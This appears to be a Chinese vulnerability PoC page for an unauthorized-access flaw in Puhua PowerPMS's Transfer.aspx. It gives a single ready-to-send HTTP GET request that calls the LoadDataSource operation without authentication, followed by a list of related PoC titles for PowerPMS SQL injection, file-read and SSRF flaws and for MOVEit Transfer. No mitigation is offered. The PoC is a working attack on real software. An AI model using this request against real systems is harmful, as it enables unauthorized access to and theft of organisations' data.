漏洞描述
普华 PowerPMS Transfer.aspx 未授权访问漏洞
普华 PowerPMS Transfer.aspx 未授权访问漏洞
PoC代码
GET /PowerPlat/Tools/Transfer.aspx?ServerOperatorType=LoadDataSource HTTP/1.1相关漏洞推荐
- POC CVE-2018-17082: Apache2 - Transfer-Encoding Chunked XSS
- POC 普华科技-PowerPMS Reg.ashx接口存在SQL注入漏洞
- POC 普华科技 PowerPMS /PowerPlat/FormXml/DocFile/OfficeService.aspx 文件读取漏洞
- POC 普华PowerPMS /weixin3.0/Reg.ashx SQL 注入漏洞
- PowerPMS File.ashx存在SQL注入漏洞
- 普华 PowerPMS File.ashx SQL注入漏洞
- 普华 PowerPMS download SSRF漏洞
- POC 普华 PowerPMS Reg.ashx SQL注入漏洞
- 普华 PowerPMS OfficeService.aspx SQL注入漏洞
- POC CVE-2023-34362: MOVEit Transfer - Remote Code Execution
- POC CVE-2023-36934: MOVEit Transfer - SQL Injection
- POC secure-transfeross-disabled: Secure Transfer for OSS Buckets - Disabled
- POC azure-storage-secure-transfer: Azure Storage Secure Transfer Not Enabled